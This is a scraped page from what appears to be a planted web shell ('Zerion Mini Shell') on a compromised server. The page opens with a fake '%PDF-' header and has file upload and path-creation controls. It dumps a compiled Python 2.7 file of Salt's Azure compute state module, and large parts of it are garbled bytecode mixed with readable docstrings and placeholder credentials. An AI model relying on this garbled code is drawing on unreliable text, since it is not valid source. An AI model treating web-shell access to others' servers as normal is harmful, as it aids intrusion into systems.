%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/azurearm_compute.pyc

�
���^c@@skdZddlmZddlZdZeje�Zd�Zddddddd�Z
dd�ZdS(s�
Azure (ARM) Compute State Module

.. versionadded:: 2019.2.0

:maintainer: <devops@decisionlab.io>
:maturity: new
:depends:
    * `azure <https://pypi.python.org/pypi/azure>`_ >= 2.0.0
    * `azure-common <https://pypi.python.org/pypi/azure-common>`_ >= 1.1.8
    * `azure-mgmt <https://pypi.python.org/pypi/azure-mgmt>`_ >= 1.0.0
    * `azure-mgmt-compute <https://pypi.python.org/pypi/azure-mgmt-compute>`_ >= 1.0.0
    * `azure-mgmt-network <https://pypi.python.org/pypi/azure-mgmt-network>`_ >= 1.7.1
    * `azure-mgmt-resource <https://pypi.python.org/pypi/azure-mgmt-resource>`_ >= 1.1.0
    * `azure-mgmt-storage <https://pypi.python.org/pypi/azure-mgmt-storage>`_ >= 1.0.0
    * `azure-mgmt-web <https://pypi.python.org/pypi/azure-mgmt-web>`_ >= 0.32.0
    * `azure-storage <https://pypi.python.org/pypi/azure-storage>`_ >= 0.34.3
    * `msrestazure <https://pypi.python.org/pypi/msrestazure>`_ >= 0.4.21
:platform: linux

:configuration: This module requires Azure Resource Manager credentials to be passed as a dictionary of
    keyword arguments to the ``connection_auth`` parameter in order to work properly. Since the authentication
    parameters are sensitive, it's recommended to pass them to the states via pillar.

    Required provider parameters:

    if using username and password:
      * ``subscription_id``
      * ``username``
      * ``password``

    if using a service principal:
      * ``subscription_id``
      * ``tenant``
      * ``client_id``
      * ``secret``

    Optional provider parameters:

    **cloud_environment**: Used to point the cloud driver to different API endpoints, such as Azure GovCloud. Possible values:
      * ``AZURE_PUBLIC_CLOUD`` (default)
      * ``AZURE_CHINA_CLOUD``
      * ``AZURE_US_GOV_CLOUD``
      * ``AZURE_GERMAN_CLOUD``

    Example Pillar for Azure Resource Manager authentication:

    .. code-block:: yaml

        azurearm:
            user_pass_auth:
                subscription_id: 3287abc8-f98a-c678-3bde-326766fd3617
                username: fletch
                password: 123pass
            mysubscription:
                subscription_id: 3287abc8-f98a-c678-3bde-326766fd3617
                tenant: ABCDEFAB-1234-ABCD-1234-ABCDEFABCDEF
                client_id: ABCDEFAB-1234-ABCD-1234-ABCDEFABCDEF
                secret: XXXXXXXXXXXXXXXXXXXXXXXX
                cloud_environment: AZURE_PUBLIC_CLOUD

    Example states using Azure Resource Manager authentication:

    .. code-block:: jinja

        {% set profile = salt['pillar.get']('azurearm:mysubscription') %}
        Ensure availability set exists:
            azurearm_compute.availability_set_present:
                - name: my_avail_set
                - resource_group: my_rg
                - virtual_machines:
                    - my_vm1
                    - my_vm2
                - tags:
                    how_awesome: very
                    contact_name: Elmer Fudd Gantry
                - connection_auth: {{ profile }}

        Ensure availability set is absent:
            azurearm_compute.availability_set_absent:
                - name: other_avail_set
                - resource_group: my_rg
                - connection_auth: {{ profile }}

i(tabsolute_importNtazurearm_computecC@sdtkrtStS(sU
    Only make this state available if the azurearm_compute module is available.
    s2azurearm_compute.availability_set_create_or_update(t__salt__t__virtualname__tFalse(((s@/usr/lib/python2.7/site-packages/salt/states/azurearm_compute.pyt__virtual__ascK@s�i|d6td6dd6id6}	t|t�s?d|	d<|	S|r[i|j�d6}ntd||dd	|�}
d
|
kr�td|
jdi�|p�i�}|r�||	dd<n|rt|�|
jd
�kri|
jd
�d6|d6|	dd
<n|rQt|�|
jd�krQi|
jd�d6|d6|	dd<n|r�|d|
jdi�jd�kr�i|
jd�d6|d6|	dd<n|rtt|t�s�d|	d<|	S|
jdg�}t	g|D]/}
d|kr�|
dj
d�dj�^q��}t	g|p*gD]}
|
j�^q+�}||krti|d6|d6|	dd<qtn|	ds�t|	d<dj
|�|	d<|	Stdrd|	d<dj
|�|	d<|	SnBiid6i|d6|d6|d
6|d6|d6|d6d6|	d<tdr:dj
|�|	d<d|	d<|	S|j�}|j|�tdd|d|d|d
|d|d|d||�}
d
|
kr�t|	d<dj
|�|	d<|	Sdj
||
jd
��|	d<|	S( s�
    .. versionadded:: 2019.2.0

    Ensure an availability set exists.

    :param name:
        Name of the availability set.

    :param resource_group:
        The resource group assigned to the availability set.

    :param tags:
        A dictionary of strings can be passed as tag metadata to the availability set object.

    :param platform_update_domain_count:
        An optional parameter which indicates groups of virtual machines and underlying physical hardware that can be
        rebooted at the same time.

    :param platform_fault_domain_count:
        An optional parameter which defines the group of virtual machines that share a common power source and network
        switch.

    :param virtual_machines:
        A list of names of existing virtual machines to be included in the availability set.

    :param sku:
        The availability set SKU, which specifies whether the availability set is managed or not. Possible values are
        'Aligned' or 'Classic'. An 'Aligned' availability set is managed, 'Classic' is not.

    :param connection_auth:
        A dict with subscription and authentication parameters to be used in connecting to the
        Azure Resource Manager API.

    Example usage:

    .. code-block:: yaml

        Ensure availability set exists:
            azurearm_compute.availability_set_present:
                - name: aset1
                - resource_group: group1
                - platform_update_domain_count: 5
                - platform_fault_domain_count: 3
                - sku: aligned
                - tags:
                    contact_name: Elmer Fudd Gantry
                - connection_auth: {{ profile }}
                - require:
                  - azurearm_resource: Ensure resource group exists

    tnametresultttcommenttchangessHConnection information must be specified via connection_auth dictionary!s%azurearm_compute.availability_set_gettazurearm_log_leveltinfoterrorsdictdiffer.deep_diffttagstplatform_update_domain_counttoldtnewtplatform_fault_domain_counttskus,Virtual machines must be supplied as a list!tvirtual_machinestidt/i����s(Availability set {0} is already present.ttests&Availability set {0} would be updated.s&Availability set {0} would be created.s2azurearm_compute.availability_set_create_or_updatetresource_groups&Availability set {0} has been created.s,Failed to create availability set {0}! ({1})N(Rt
isinstancetdictt
capitalizeRt	__utils__tgettinttlisttsortedtsplittlowertTruetformatt__opts__tNonetcopytupdate(RRRRRRRtconnection_authtkwargstrettasetttag_changestaset_vmstvmt
remote_vmst	local_vmstaset_kwargs((s@/usr/lib/python2.7/site-packages/salt/states/azurearm_compute.pytavailability_set_presenths�6

	%!!+
B+







	
cC@s7i|d6td6dd6id6}t|t�s?d|d<|Std||dd	|�}d
|kr�t|d<dj|�|d<|Stdr�d
j|�|d<d|d<i|d6id6|d<|Std|||�}|r t|d<dj|�|d<i|d6id6|d<|Sdj|�|d<|S(s�
    .. versionadded:: 2019.2.0

    Ensure an availability set does not exist in a resource group.

    :param name:
        Name of the availability set.

    :param resource_group:
        Name of the resource group containing the availability set.

    :param connection_auth:
        A dict with subscription and authentication parameters to be used in connecting to the
        Azure Resource Manager API.
    RRRR	R
sHConnection information must be specified via connection_auth dictionary!s%azurearm_compute.availability_set_getRRR
s#Availability set {0} was not found.Rs&Availability set {0} would be deleted.RRs(azurearm_compute.availability_set_deletes&Availability set {0} has been deleted.s&Failed to delete availability set {0}!N(RRRRR#R$R%R&(RRR)R+R,tdeleted((s@/usr/lib/python2.7/site-packages/salt/states/azurearm_compute.pytavailability_set_absent
sD

	



(t__doc__t
__future__RtloggingRt	getLoggert__name__tlogRR&R3R5(((s@/usr/lib/python2.7/site-packages/salt/states/azurearm_compute.pyt<module>Vs	�

Zerion Mini Shell 1.0